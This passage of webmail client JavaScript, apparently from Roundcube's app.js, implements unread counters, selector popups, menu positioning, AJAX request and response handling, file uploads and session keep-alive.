      this.unmark_folder(mbox, 'recent', '', true);

    this.mark_all_read_state();
  };

  // update the mailbox count display
  this.set_unread_count_display = function(mbox, set_title)
  {
    var reg, link, text_obj, item, mycount, childcount, div;

    if (item = this.get_folder_li(mbox, '', true)) {
      mycount = this.env.unread_counts[mbox] ? this.env.unread_counts[mbox] : 0;
      link = $(item).children('a').eq(0);
      text_obj = link.children('span.unreadcount');
      if (!text_obj.length && mycount)
        text_obj = $('<span>').addClass('unreadcount skip-content').appendTo(link);
      reg = /\s+\([0-9]+\)$/i;

      childcount = 0;
      if ((div = item.getElementsByTagName('div')[0]) &&
          div.className.match(/collapsed/)) {
        // add children's counters
        for (var k in this.env.unread_counts)
          if (k.startsWith(mbox + this.env.delimiter))
            childcount += this.env.unread_counts[k];
      }

      if (mycount && text_obj.length)
        text_obj.html(this.env.unreadwrap.replace(/%[sd]/, mycount));
      else if (text_obj.length)
        text_obj.remove();

      // set parent's display
      reg = new RegExp(RegExp.escape(this.env.delimiter) + '[^' + RegExp.escape(this.env.delimiter) + ']+$');
      if (mbox.match(reg))
        this.set_unread_count_display(mbox.replace(reg, ''), false);

      // set the right classes
      if ((mycount+childcount)>0)
        $(item).addClass('unread');
      else
        $(item).removeClass('unread');
    }

    // set unread count to window title
    reg = /^\([0-9]+\)\s+/i;
    if (set_title && document.title) {
      var new_title = '',
        doc_title = String(document.title);

      if (mycount && doc_title.match(reg))
        new_title = doc_title.replace(reg, '('+mycount+') ');
      else if (mycount)
        new_title = '('+mycount+') '+doc_title;
      else
        new_title = doc_title.replace(reg, '');

      this.set_pagetitle(new_title);
    }
  };

  // display fetched raw headers
  this.set_headers = function(content)
  {
    if (this.gui_objects.all_headers_box && content)
      $(this.gui_objects.all_headers_box).html(content).show();
  };

  // display all-headers row and fetch raw message headers
  this.show_headers = function(props, elem)
  {
    if (!this.gui_objects.all_headers_row || !this.gui_objects.all_headers_box || !this.env.uid)
      return;

    $(elem).removeClass('show-headers').addClass('hide-headers');
    $(this.gui_objects.all_headers_row).show();
    elem.onclick = function() { ref.command('hide-headers', '', elem); };

    // fetch headers only once
    if (!this.gui_objects.all_headers_box.innerHTML) {
      this.http_request('headers', {_uid: this.env.uid, _mbox: this.env.mailbox},
        this.display_message('', 'loading')
      );
    }
  };

  // hide all-headers row
  this.hide_headers = function(props, elem)
  {
    if (!this.gui_objects.all_headers_row || !this.gui_objects.all_headers_box)
      return;

    $(elem).removeClass('hide-headers').addClass('show-headers');
    $(this.gui_objects.all_headers_row).hide();
    elem.onclick = function() { ref.command('show-headers', '', elem); };
  };

  // create folder selector popup
  this.folder_selector = function(event, callback)
  {
    this.entity_selector('folder-selector', callback, this.env.mailboxes_list, function(obj, a) {
      var n = 0, s = 0,
        delim = ref.env.delimiter,
        folder = ref.env.mailboxes[obj],
        id = folder.id,
        row = $('<li>');

      if (folder.virtual)
        a.addClass('virtual').attr({'aria-disabled': 'true', tabindex: '-1'});
      else
        a.addClass('active').data('id', folder.id);

      if (folder['class'])
        row.addClass(folder['class']);

      // calculate/set indentation level
      while ((s = id.indexOf(delim, s)) >= 0) {
        n++; s++;
      }
      a.css('padding-left', n ? (n * 16) + 'px' : 0);

      // add folder name element
      a.append($('<span>').text(folder.name));

      return row.append(a);
    }, event);
  };

  // create addressbook selector popup
  this.addressbook_selector = function(event, callback)
  {
    // build addressbook + groups list
    var combined_sources = [];

    // check we really need it before processing
    if (!this.entity_selectors['addressbook-selector']) {
      $.each(this.env.address_sources, function() {
        if (!this.readonly) {
          var source = this;
          combined_sources.push(source);

          $.each(ref.env.contactgroups, function() {
            if (source.id === this.source) {
              combined_sources.push(this);
            }
          });
        }
      });
    }

    this.entity_selector('addressbook-selector', callback, combined_sources, function(obj, a) {
      if (obj.type == 'group') {
        a.attr('rel', obj.source + ':' + obj.id)
          .addClass('contactgroup active')
          .data({source: obj.source, gid: obj.id, id: obj.source + ':' + obj.id})
          .css('padding-left', '16px');
      }
      else {
        a.addClass('addressbook active').data('id', obj.id);
      }
      a.append($('<span>').text(obj.name));

      return $('<li>').append(a);
    }, event);
  };

  // create contactgroup selector popup
  this.contactgroup_selector = function(event, callback)
  {
    this.entity_selector('contactgroup-selector', callback, this.env.contactgroups, function(obj, a) {
      if (ref.env.source === obj.source) {
        a.addClass('contactgroup active')
            .data({id: obj.id})
            .append($('<span>').text(obj.name));

        return $('<li>').append(a);
      }
    }, event);
  };

  // create selector popup (eg for folders or address books), position and display it
  this.entity_selector = function(name, click_callback, entity_list, list_callback, event)
  {
    var container = this.entity_selectors[name];

    if (!container) {
      var rows = [],
        container = $('<div>').attr('id', name).addClass('popupmenu'),
        ul = $('<ul>').addClass('toolbarmenu menu'),
        link = document.createElement('a');

      link.href = '#';
      link.className = 'icon';

      // loop over entity list
      $.each(entity_list, function(i) {
        var a = $(link.cloneNode(false)).attr('rel', this.id);
        rows.push(list_callback(this, a, i));
      });

      ul.append(rows).appendTo(container);

      // temporarily show element to calculate its size
      container.css({left: '-1000px', top: '-1000px'})
        .appendTo(document.body).show();

      // set max-height if the list is long
      if (rows.length > 10)
        container.css('max-height', $('li', container)[0].offsetHeight * 10 + 9);

      // register delegate event handler for folder item clicks
      container.on('click', 'a.active', function(e) {
        container.data('callback')($(this).data('id'), this);
      });

      this.entity_selectors[name] = container;
    }

    container.data('callback', click_callback);

    // position menu on the screen
    this.show_menu(name, true, event);
  };

  this.destroy_entity_selector = function(name)
  {
    $("#" + name).remove();
    delete this.entity_selectors[name];
    this.triggerEvent('destroy-entity-selector', { name: name });
  };

  /***********************************************/
  /*********    popup menu functions     *********/
  /***********************************************/

  // Show/hide a specific popup menu
  this.show_menu = function(prop, show, event)
  {
    var name = typeof prop == 'object' ? prop.menu : prop,
      obj = $('#'+name),
      ref = event && event.target ? $(event.target) : $(obj.attr('rel') || '#'+name+'link'),
      keyboard = rcube_event.is_keyboard(event),
      align = obj.attr('data-align') || '',
      stack = false;

    // find "real" button element
    if (ref.get(0).tagName != 'A' && ref.closest('a').length)
      ref = ref.closest('a');

    if (typeof prop == 'string')
      prop = { menu:name };

    // let plugins or skins provide the menu element
    if (!obj.length) {
      obj = this.triggerEvent('menu-get', { name:name, props:prop, originalEvent:event });
    }

    if (!obj || !obj.length) {
      // just delegate the action to subscribers
      return this.triggerEvent(show === false ? 'menu-close' : 'menu-open', { name:name, props:prop, originalEvent:event });
    }

    // move element to top for proper absolute positioning
    obj.appendTo(document.body);

    if (typeof show == 'undefined')
      show = obj.is(':visible') ? false : true;

    if (show && ref.length) {
      var win = $(window),
        pos = ref.offset(),
        above = align.indexOf('bottom') >= 0;

      stack = ref.attr('role') == 'menuitem' || ref.closest('[role=menuitem]').length > 0;

      ref.offsetWidth = ref.outerWidth();
      ref.offsetHeight = ref.outerHeight();
      if (!above && pos.top + ref.offsetHeight + obj.height() > win.height()) {
        above = true;
      }
      if (align.indexOf('right') >= 0) {
        pos.left = pos.left + ref.outerWidth() - obj.width();
      }
      else if (stack) {
        pos.left = pos.left + ref.offsetWidth - 5;
        pos.top -= ref.offsetHeight;
      }
      if (pos.left + obj.width() > win.width()) {
        pos.left = win.width() - obj.width() - 12;
      }
      pos.top = Math.max(0, pos.top + (above ? -obj.height() : ref.offsetHeight));
      obj.css({ left:pos.left+'px', top:pos.top+'px' });
    }

    // add menu to stack
    if (show) {
      // truncate stack down to the one containing the ref link
      for (var i = this.menu_stack.length - 1; stack && i >= 0; i--) {
        if (!$(ref).parents('#'+this.menu_stack[i]).length && $(event.target).parent().attr('role') != 'menuitem')
          this.hide_menu(this.menu_stack[i], event);
      }
      if (stack && this.menu_stack.length) {
        obj.data('parent', $.last(this.menu_stack));
        obj.css('z-index', ($('#'+$.last(this.menu_stack)).css('z-index') || 0) + 1);
      }
      else if (!stack && this.menu_stack.length) {
        this.hide_menu(this.menu_stack[0], event);
      }

      obj.show().attr('aria-hidden', 'false').data('opener', ref.attr('aria-expanded', 'true').get(0));
      this.triggerEvent('menu-open', { name:name, obj:obj, props:prop, originalEvent:event });
      this.menu_stack.push(name);

      this.menu_keyboard_active = show && keyboard;
      if (this.menu_keyboard_active) {
        this.focused_menu = name;
        obj.find('a,input:not(:disabled)').not('[aria-disabled=true]').first().focus();
      }
    }
    else {  // close menu
      this.hide_menu(name, event);
    }

    return show;
  };

  // hide the given popup menu (and its children)
  this.hide_menu = function(name, event)
  {
    if (!this.menu_stack.length) {
      // delegate to subscribers
      this.triggerEvent('menu-close', { name:name, props:{ menu:name }, originalEvent:event });
      return;
    }

    var obj, keyboard = rcube_event.is_keyboard(event);
    for (var j=this.menu_stack.length-1; j >= 0; j--) {
      obj = $('#' + this.menu_stack[j]).hide().attr('aria-hidden', 'true').data('parent', false);
      this.triggerEvent('menu-close', { name:this.menu_stack[j], obj:obj, props:{ menu:this.menu_stack[j] }, originalEvent:event });
      if (this.menu_stack[j] == name) {
        j = -1;  // stop loop
        if (obj.data('opener')) {
          $(obj.data('opener')).attr('aria-expanded', 'false');
          if (keyboard)
            obj.data('opener').focus();
        }
      }
      this.menu_stack.pop();
    }

    // focus previous menu in stack
    if (this.menu_stack.length && keyboard) {
      this.menu_keyboard_active = true;
      this.focused_menu = $.last(this.menu_stack);
      if (!obj || !obj.data('opener'))
        $('#'+this.focused_menu).find('a,input:not(:disabled)').not('[aria-disabled=true]').first().focus();
    }
    else {
      this.focused_menu = null;
      this.menu_keyboard_active = false;
    }
  };

  // position a menu element on the screen in relation to other object
  this.element_position = function(element, obj)
  {
    var obj = $(obj), win = $(window),
      width = obj.outerWidth(),
      height = obj.outerHeight(),
      menu_pos = obj.data('menu-pos'),
      win_height = win.height(),
      elem_height = $(element).height(),
      elem_width = $(element).width(),
      pos = obj.offset(),
      top = pos.top,
      left = pos.left + width;

    if (menu_pos == 'bottom') {
      top += height;
      left -= width;
    }
    else
      left -= 5;

    if (top + elem_height > win_height) {
      top -= elem_height - height;
      if (top < 0)
        top = Math.max(0, (win_height - elem_height) / 2);
    }

    if (left + elem_width > win.width())
      left -= elem_width + width;

    element.css({left: left + 'px', top: top + 'px'});
  };

  // initialize HTML editor
  this.editor_init = function(config, id)
  {
    this.editor = new rcube_text_editor(config || this.env.editor_config, id);
  };


  /********************************************************/
  /*********  html to text conversion functions   *********/
  /********************************************************/

  this.html2plain = function(html, func)
  {
    return this.format_converter(html, 'html', func);
  };

  this.plain2html = function(plain, func)
  {
    return this.format_converter(plain, 'plain', func);
  };

  this.format_converter = function(text, format, func)
  {
    // warn the user (if converted content is not empty)
    if (!text
      || (format == 'html' && !(text.replace(/<[^>]+>|&nbsp;|\xC2\xA0|\s/g, '')).length)
      || (format != 'html' && !(text.replace(/\xC2\xA0|\s/g, '')).length)
    ) {
      // without setTimeout() here, textarea is filled with initial (onload) content
      if (func)
        setTimeout(function() { func(''); }, 50);
      return true;
    }

    var confirmed = this.env.editor_warned || confirm(this.get_label('editorwarning'));

    this.env.editor_warned = true;

    if (!confirmed)
      return false;

    var url = '?_task=utils&_action=' + (format == 'html' ? 'html2text' : 'text2html'),
      lock = this.set_busy(true, 'converting');

    $.ajax({ type: 'POST', url: url, data: text, contentType: 'application/octet-stream',
      error: function(o, status, err) { ref.http_error(o, status, err, lock); },
      success: function(data) {
        ref.set_busy(false, null, lock);
        if (func) func(data);
      }
    });

    return true;
  };


  /********************************************************/
  /*********        remote request methods        *********/
  /********************************************************/

  // compose a valid url with the given parameters
  this.url = function(action, query)
  {
    var querystring = typeof query === 'string' ? query : '';

    if (typeof action !== 'string')
      query = action;
    else if (!query || typeof query !== 'object')
      query = {};

    if (action)
      query._action = action;
    else if (this.env.action)
      query._action = this.env.action;

    var url = this.env.comm_path, k, param = {};

    // overwrite task name
    if (action && action.match(/([a-z0-9_-]+)\/([a-z0-9-_.]+)/)) {
      query._action = RegExp.$2;
      url = url.replace(/\_task=[a-z0-9_-]+/, '_task=' + RegExp.$1);
    }

    // force _framed=0
    if (query._framed === 0) {
      url = url.replace('&_framed=1', '');
      query._framed = null;
    }

    // remove undefined values
    for (k in query) {
      if (query[k] !== undefined && query[k] !== null)
        param[k] = query[k];
    }

    if (param = $.param(param))
      url += (url.indexOf('?') > -1 ? '&' : '?') + param;

    if (querystring)
      url += (url.indexOf('?') > -1 ? '&' : '?') + querystring;

    return url;
  };

  this.redirect = function(url, lock)
  {
    if (lock !== false)
      this.set_busy(true, 'loading');

    if (this.is_framed()) {
      url = url.replace(/&_framed=1/, '');
      parent.rcmail.redirect(url, lock);
    }
    else {
      if (this.env.extwin) {
        if (typeof url == 'string')
          url += (url.indexOf('?') < 0 ? '?' : '&') + '_extwin=1';
        else
          url._extwin = 1;
      }
      this.location_href(url, window);
    }
  };

  this.goto_url = function(action, query, lock, secure)
  {
    var url = this.url(action, query)
    if (secure) url = this.secure_url(url);
    this.redirect(url, lock);
  };

  this.location_href = function(url, target, frame)
  {
    if (frame)
      this.lock_frame(target);

    if (typeof url == 'object')
      url = this.env.comm_path + '&' + $.param(url);

    // simulate real link click to force IE to send referer header
    if (bw.ie && target == window)
      $('<a>').attr('href', url).appendTo(document.body).get(0).click();
    else
      target.location.href = url;

    // reset keep-alive interval
    this.start_keepalive();
  };

  // update browser location to remember current view
  this.update_state = function(query)
  {
    if (window.history.replaceState)
      try {
        // This may throw security exception in Firefox (#5400)
        window.history.replaceState({}, document.title, rcmail.url('', query));
      }
      catch(e) { /* ignore */ };
  };

  // send a http request to the server
  this.http_request = function(action, data, lock, type)
  {
    if (type != 'POST')
      type = 'GET';

    if (typeof data !== 'object')
      data = rcube_parse_query(data);

    data._remote = 1;
    data._unlock = lock ? lock : 0;

    // trigger plugin hook
    var result = this.triggerEvent('request' + action, data);

    // abort if one of the handlers returned false
    if (result === false) {
      if (data._unlock)
        this.set_busy(false, null, data._unlock);
      return false;
    }
    else if (result && result.getResponseHeader) {
      return result;
    }
    else if (result !== undefined) {
      data = result;
      if (data._action) {
        action = data._action;
        delete data._action;
      }
    }

    var url = this.url(action);

    // reset keep-alive interval
    this.start_keepalive();

    // send request
    return $.ajax({
      type: type, url: url, data: data, dataType: 'json',
      success: function(data) { ref.http_response(data); },
      error: function(o, status, err) { ref.http_error(o, status, err, lock, action); }
    });
  };

  // send a http GET request to the server
  this.http_get = this.http_request;

  // send a http POST request to the server
  this.http_post = function(action, data, lock)
  {
    return this.http_request(action, data, lock, 'POST');
  };

  // aborts ajax request
  this.abort_request = function(r)
  {
    if (r.request)
      r.request.abort();
    if (r.lock)
      this.set_busy(false, null, r.lock);
  };

  // handle HTTP response
  this.http_response = function(response)
  {
    if (!response)
      return;

    if (response.unlock)
      this.set_busy(false, null, response.unlock);

    this.triggerEvent('responsebefore', {response: response});
    this.triggerEvent('responsebefore'+response.action, {response: response});

    // set env vars
    if (response.env)
      this.set_env(response.env);

    var i;

    // we have labels to add
    if (typeof response.texts === 'object') {
      for (i in response.texts)
        if (typeof response.texts[i] === 'string')
          this.add_label(i, response.texts[i]);
    }

    // if we get javascript code from server -> execute it
    if (response.exec) {
      eval(response.exec);
    }

    // execute callback functions of plugins
    if (response.callbacks && response.callbacks.length) {
      for (i=0; i < response.callbacks.length; i++)
        this.triggerEvent(response.callbacks[i][0], response.callbacks[i][1]);
    }

    // process the response data according to the sent action
    switch (response.action) {
      case 'mark':
        // Mark the message as Seen also in the opener/parent
        if ((this.env.action == 'show' || this.env.action == 'preview') && this.env.last_flag == 'SEEN')
          this.set_unread_message(this.env.uid, this.env.mailbox);
        break;

      case 'delete':
        if (this.task == 'addressbook') {
          var sid, uid = this.contact_list.get_selection(), writable = false;

          if (uid && this.contact_list.rows[uid]) {
            // search results, get source ID from record ID
            if (this.env.source == '') {
              sid = String(uid).replace(/^[^-]+-/, '');
              writable = sid && this.env.address_sources[sid] && !this.env.address_sources[sid].readonly;
            }
            else {
              writable = !this.env.address_sources[this.env.source].readonly;
            }
          }
          this.enable_command('delete', 'edit', writable);
          this.enable_command('export', (this.contact_list && this.contact_list.rowcount > 0));
          this.enable_command('export-selected', 'print', false);
        }

      case 'move':
        if (this.env.action == 'show') {
          // re-enable commands on move/delete error
          this.enable_command(this.env.message_commands, true);
          if (!this.env.list_post)
            this.enable_command('reply-list', false);
        }
        else if (this.task == 'addressbook') {
          this.triggerEvent('listupdate', { list:this.contact_list, folder:this.env.source, rowcount:this.contact_list.rowcount });
        }

      case 'purge':
      case 'expunge':
        if (this.task == 'mail') {
          if (!this.env.exists) {
            // clear preview pane content
            if (this.env.contentframe)
              this.show_contentframe(false);
            // disable commands useless when mailbox is empty
            this.enable_command(this.env.message_commands, 'purge', 'expunge',
              'select-all', 'select-none', 'expand-all', 'expand-unread', 'collapse-all', false);
          }
          if (this.message_list)
            this.triggerEvent('listupdate', { list:this.message_list, folder:this.env.mailbox, rowcount:this.message_list.rowcount });
        }
        break;

      case 'refresh':
      case 'check-recent':
        // update message flags
        $.each(this.env.recent_flags || {}, function(uid, flags) {
          ref.set_message(uid, 'deleted', flags.deleted);
          ref.set_message(uid, 'replied', flags.answered);
          ref.set_message(uid, 'unread', !flags.seen);
          ref.set_message(uid, 'forwarded', flags.forwarded);
          ref.set_message(uid, 'flagged', flags.flagged);
        });
        delete this.env.recent_flags;

      case 'getunread':
      case 'search':
        this.env.qsearch = null;
      case 'list':
        if (this.task == 'mail') {
          var is_multifolder = this.is_multifolder_listing(),
            list = this.message_list,
            uid = this.env.list_uid;

          this.enable_command('show', 'select-all', 'select-none', this.env.messagecount > 0);
          this.enable_command('expunge', 'purge', this.env.exists && !is_multifolder);
          this.enable_command('import-messages', !is_multifolder);
          this.enable_command('expand-all', 'expand-unread', 'collapse-all', this.env.threading && this.env.messagecount && !is_multifolder);

          if (list) {
            if (response.action == 'list' || response.action == 'search') {
              // highlight message row when we're back from message page
              if (uid) {
                if (uid === 'FIRST') {
                  uid = list.get_first_row();
                }
                else if (uid === 'LAST') {
                  uid = list.get_last_row();
                }
                else if (!list.rows[uid]) {
                  uid += '-' + this.env.mailbox;
                }

                if (uid && list.rows[uid]) {
                  list.select(uid);
                }

                delete this.env.list_uid;
              }

              this.enable_command('set-listmode', this.env.threads && !is_multifolder);
              if (list.rowcount > 0 && !$(document.activeElement).is('input,textarea'))
                list.focus();

              // trigger 'select' so all dependent actions update its state
              // e.g. plugins use this event to activate buttons (#1490647)
              list.triggerEvent('select');
            }

            if (response.action != 'getunread')
              this.triggerEvent('listupdate', { list:list, folder:this.env.mailbox, rowcount:list.rowcount });
          }
        }
        else if (this.task == 'addressbook') {
          var list = this.contact_list,
            uid = this.env.list_uid;

          this.enable_command('export', 'select-all', 'select-none', (list && list.rowcount > 0));

          if (response.action == 'list' || response.action == 'search') {
            this.enable_command('search-create', this.env.source == '');
            this.enable_command('search-delete', this.env.search_id);
            this.update_group_commands();

            if (list && uid) {
              if (uid === 'FIRST') {
                uid = list.get_first_row();
              }
              else if (uid === 'LAST') {
                uid = list.get_last_row();
              }

              if (uid && list.rows[uid]) {
                list.select(uid);
              }

              delete this.env.list_uid;

              // trigger 'select' so all dependent actions update its state
              list.triggerEvent('select');
            }

            if (list.rowcount > 0 && !$(document.activeElement).is('input,textarea'))
              list.focus();

            this.triggerEvent('listupdate', { list:list, folder:this.env.source, rowcount:list.rowcount });
          }
        }
        break;

      case 'list-contacts':
      case 'search-contacts':
        if (this.contact_list) {
          if (this.contact_list.rowcount > 0)
            this.contact_list.focus();
          this.triggerEvent('listupdate', { list:this.contact_list, rowcount:this.contact_list.rowcount });
        }
        break;
    }

    if (response.unlock)
      this.hide_message(response.unlock);

    this.triggerEvent('responseafter', {response: response});
    this.triggerEvent('responseafter'+response.action, {response: response});

    // reset keep-alive interval
    this.start_keepalive();
  };

  // handle HTTP request errors
  this.http_error = function(request, status, err, lock, action)
  {
    var errmsg = request.statusText;

    this.set_busy(false, null, lock);
    request.abort();

    // don't display error message on page unload (#1488547)
    if (this.unload)
      return;

    if (request.status && errmsg)
      this.display_message(this.get_label('servererror') + ' (' + errmsg + ')', 'error');
    else if (status == 'timeout')
      this.display_message('requesttimedout', 'error');
    else if (request.status == 0 && status != 'abort')
      this.display_message('connerror', 'error');

    // redirect to url specified in location header if not empty
    var location_url = request.getResponseHeader("Location");
    if (location_url && this.env.action != 'compose')  // don't redirect on compose screen, contents might get lost (#1488926)
      this.redirect(location_url);

    // 403 Forbidden response (CSRF prevention) - reload the page.
    // In case there's a new valid session it will be used, otherwise
    // login form will be presented (#1488960).
    if (request.status == 403) {
      (this.is_framed() ? parent : window).location.reload();
      return;
    }

    // re-send keep-alive requests after 30 seconds
    if (action == 'keep-alive')
      setTimeout(function() { ref.keep_alive(); ref.start_keepalive(); }, 30000);
  };

  // handler for session errors detected on the server
  this.session_error = function(redirect_url)
  {
    this.env.server_error = 401;

    // save message in local storage and do not redirect
    if (this.env.action == 'compose') {
      this.save_compose_form_local();
      this.compose_skip_unsavedcheck = true;
      // stop keep-alive and refresh processes
      this.env.session_lifetime = 0;
      if (this._keepalive)
        clearInterval(this._keepalive);
      if (this._refresh)
        clearInterval(this._refresh);
    }
    else if (redirect_url) {
      setTimeout(function() { ref.redirect(redirect_url, true); }, 2000);
    }
  };

  // callback when an iframe finished loading
  this.iframe_loaded = function(unlock)
  {
    if (!unlock)
      unlock = this.env.frame_lock;

    this.set_busy(false, null, unlock);

    if (this.submit_timer)
      clearTimeout(this.submit_timer);
  };

  /**
   Send multi-threaded parallel HTTP requests to the server for a list if items.
   The string '%' in either a GET query or POST parameters will be replaced with the respective item value.
   This is the argument object expected: {
       items: ['foo','bar','gna'],      // list of items to send requests for
       action: 'task/some-action',      // Roundcube action to call
       query: { q:'%s' },               // GET query parameters
       postdata: { source:'%s' },       // POST data (sends a POST request if present)
       threads: 3,                      // max. number of concurrent requests
       onresponse: function(data){ },   // Callback function called for every response received from server
       whendone: function(alldata){ }   // Callback function called when all requests have been sent
   }
  */
  this.multi_thread_http_request = function(prop)
  {
    var i, item, reqid = new Date().getTime(),
      threads = prop.threads || 1;

    prop.reqid = reqid;
    prop.running = 0;
    prop.requests = [];
    prop.result = [];
    prop._items = $.extend([], prop.items);  // copy items

    if (!prop.lock)
      prop.lock = this.display_message('', 'loading');

    // add the request arguments to the jobs pool
    this.http_request_jobs[reqid] = prop;

    // start n threads
    for (i=0; i < threads; i++) {
      item = prop._items.shift();
      if (item === undefined)
        break;

      prop.running++;
      prop.requests.push(this.multi_thread_send_request(prop, item));
    }

    return reqid;
  };

  // helper method to send an HTTP request with the given iterator value
  this.multi_thread_send_request = function(prop, item)
  {
    var k, postdata, query;

    // replace %s in post data
    if (prop.postdata) {
      postdata = {};
      for (k in prop.postdata) {
        postdata[k] = String(prop.postdata[k]).replace('%s', item);
      }
      postdata._reqid = prop.reqid;
    }
    // replace %s in query
    else if (typeof prop.query == 'string') {
      query = prop.query.replace('%s', item);
      query += '&_reqid=' + prop.reqid;
    }
    else if (typeof prop.query == 'object' && prop.query) {
      query = {};
      for (k in prop.query) {
        query[k] = String(prop.query[k]).replace('%s', item);
      }
      query._reqid = prop.reqid;
    }

    // send HTTP GET or POST request
    return postdata ? this.http_post(prop.action, postdata) : this.http_request(prop.action, query);
  };

  // callback function for multi-threaded http responses
  this.multi_thread_http_response = function(data, reqid)
  {
    var prop = this.http_request_jobs[reqid];
    if (!prop || prop.running <= 0 || prop.cancelled)
      return;

    prop.running--;

    // trigger response callback
    if (prop.onresponse && typeof prop.onresponse == 'function') {
      prop.onresponse(data);
    }

    prop.result = $.extend(prop.result, data);

    // send next request if prop.items is not yet empty
    var item = prop._items.shift();
    if (item !== undefined) {
      prop.running++;
      prop.requests.push(this.multi_thread_send_request(prop, item));
    }
    // trigger whendone callback and mark this request as done
    else if (prop.running == 0) {
      if (prop.whendone && typeof prop.whendone == 'function') {
        prop.whendone(prop.result);
      }

      this.set_busy(false, '', prop.lock);

      // remove from this.http_request_jobs pool
      delete this.http_request_jobs[reqid];
    }
  };

  // abort a running multi-thread request with the given identifier
  this.multi_thread_request_abort = function(reqid)
  {
    var prop = this.http_request_jobs[reqid];
    if (prop) {
      for (var i=0; prop.running > 0 && i < prop.requests.length; i++) {
        if (prop.requests[i].abort)
          prop.requests[i].abort();
      }

      prop.running = 0;
      prop.cancelled = true;
      this.set_busy(false, '', prop.lock);
    }
  };

  // post the given form to a hidden iframe
  this.async_upload_form = function(form, action, onload)
  {
    // create hidden iframe
    var ts = new Date().getTime(),
      frame_name = 'rcmupload' + ts,
      frame = this.dummy_iframe(frame_name);

    // handle upload errors by parsing iframe content in onload
    frame.on('load', {ts:ts}, onload);

    $(form).attr({
        target: frame_name,
        action: this.url(action, {_id: this.env.compose_id || '', _uploadid: ts, _from: this.env.action}),
        method: 'POST',
        enctype: 'multipart/form-data'
      })
      .submit();

    return frame_name;
  };

  // create hidden iframe element
  this.dummy_iframe = function(name, src)
  {
    return $('<iframe>').attr({
        name: name,
        src: src,
        style: 'width:0;height:0;visibility:hidden',
        'aria-hidden': 'true'
      })
      .appendTo(document.body);
  };

  // html5 file-drop API
  this.document_drag_hover = function(e, over)
  {
    // don't e.preventDefault() here to not block text dragging on the page (#1490619)
    $(this.gui_objects.filedrop)[(over?'addClass':'removeClass')]('active');
  };

  this.file_drag_hover = function(e, over)
  {
    e.preventDefault();
    e.stopPropagation();
    $(this.gui_objects.filedrop)[(over?'addClass':'removeClass')]('hover');
  };

  // handler when files are dropped to a designated area.
  // compose a multipart form data and submit it to the server
  this.file_dropped = function(e)
  {
    // abort event and reset UI
    this.file_drag_hover(e, false);

    // prepare multipart form data composition
    var uri,
      files = e.target.files || e.dataTransfer.files,
      args = {_id: this.env.compose_id || this.env.cid || '', _remote: 1, _from: this.env.action};

    if (!files || !files.length) {
      // Roundcube attachment, pass its uri to the backend and attach
      if (uri = e.dataTransfer.getData('roundcube-uri')) {
        var ts = 'upload' + new Date().getTime(),
          // jQuery way to escape filename (#1490530)
          content = $('<span>').text(e.dataTransfer.getData('roundcube-name') || this.get_label('attaching')).html();

        args._uri = uri;
        args._uploadid = ts;

        // add to attachments list
        if (!this.add2attachment_list(ts, {name: '', html: content, classname: 'uploading', complete: false}))
          this.file_upload_id = this.set_busy(true, 'attaching');

        this.http_post(this.env.filedrop.action || 'upload', args);
      }

      return;
    }

    this.file_upload(files, args, {
      name: (this.env.filedrop.fieldname || '_file') + (this.env.filedrop.single ? '' : '[]'),
      single: this.env.filedrop.single,
      filter: this.env.filedrop.filter,
      action: ref.env.filedrop.action
    });
  };

  // Files upload using ajax
  this.file_upload = function(files, post_args, props)
  {
    if (!window.FormData || !files || !files.length)
      return false;

    var f, i, fname, size = 0, numfiles = 0,
      formdata = new FormData(),
      fieldname = props.name || '_file[]',
      limit = props.single ? 1 : files.length;
      args = $.extend({_remote: 1, _from: this.env.action}, post_args || {});

    // add files to form data
    for (i=0; numfiles < limit && (f = files[i]); i++) {
      // filter by file type if requested
      if (props.filter && !f.type.match(new RegExp(props.filter))) {
        // TODO: show message to user
        continue;
      }

      formdata.append(fieldname, f);
      size += f.size;
      fname = f.name;
      numfiles++;
    }

    if (numfiles) {
      if (this.env.max_filesize && this.env.filesizeerror && size > this.env.max_filesize) {
        this.display_message(this.env.filesizeerror, 'error');
        return false;
      }

      if (this.env.max_filecount && this.env.filecounterror && numfiles > this.env.max_filecount) {
        this.display_message(this.env.filecounterror, 'error');
        return false;
      }

      var ts = 'upload' + new Date().getTime(),
        label = numfiles > 1 ? this.get_label('uploadingmany') : fname,
        // jQuery way to escape filename (#1490530)
        content = $('<span>').text(label).html();

      // add to attachments list
      if (!this.add2attachment_list(ts, {name: '', html: content, classname: 'uploading', complete: false}) && !props.lock)
        props.lock = this.file_upload_id = this.set_busy(true, 'uploading');

      args._uploadid = ts;
      args._unlock = props.lock;

      this.uploads[ts] = $.ajax({
        type: 'POST',
        dataType: 'json',
        url: this.url(props.action || 'upload', args),
        contentType: false,
        processData: false,
        timeout: this.uploadTimeout, // ajax call timeout for loading attachment
        data: formdata,
        headers: {'X-Roundcube-Request': this.env.request_token},
        xhr: function() {
          var xhr = $.ajaxSettings.xhr();
          if (xhr.upload && ref.labels.uploadprogress) {
            xhr.upload.onprogress = function(e) {
              var msg = ref.file_upload_msg(e.loaded, e.total);
              if (msg) {
                $('#' + ts).find('.uploading').text(msg);
              }
            };
          }
          return xhr;
        },
        success: function(data) {
          delete ref.uploads[ts];
          ref.http_response(data);
        },
        error: function(o, status, err) {
          delete ref.uploads[ts];
          ref.remove_from_attachment_list(ts);
          ref.http_error(o, status, err, props.lock, 'attachment');
        }
      });
    }

    return true;
  };

  this.file_upload_msg = function(current, total)
  {
    if (total && current < total) {
      var percent = Math.round(current/total * 100),
        label = ref.get_label('uploadprogress');

      if (total >= 1073741824) {
        total = parseFloat(total/1073741824).toFixed(1) + ' ' . this.get_label('GB');
        current = parseFloat(current/1073741824).toFixed(1);
      }
      else if (total >= 1048576) {
        total = parseFloat(total/1048576).toFixed(1) + ' ' + this.get_label('MB');
        current = parseFloat(current/1048576).toFixed(1);
      }
      else if (total >= 1024) {
        total = parseInt(total/1024) + ' ' + this.get_label('KB');
        current = parseInt(current/1024);
      }
      else {
        total = total + ' ' + this.get_label('B');
      }

      return label.replace('$percent', percent + '%').replace('$current', current).replace('$total', total);
    }
  };

  // starts interval for keep-alive signal
  this.start_keepalive = function()
  {
    if (!this.env.session_lifetime || this.env.framed || this.env.extwin || this.task == 'login' || this.env.action == 'print')
      return;

    if (this._keepalive)
      clearInterval(this._keepalive);

    // use Math to prevent from an integer overflow (#5273)
    // maximum interval is 15 minutes, minimum is 30 seconds
    var interval = Math.min(1800, this.env.session_lifetime) * 0.5 * 1000;
    this._keepalive = setInterval(function() { ref.keep_alive(); }, interval < 30000 ? 30000 : interval);
  };

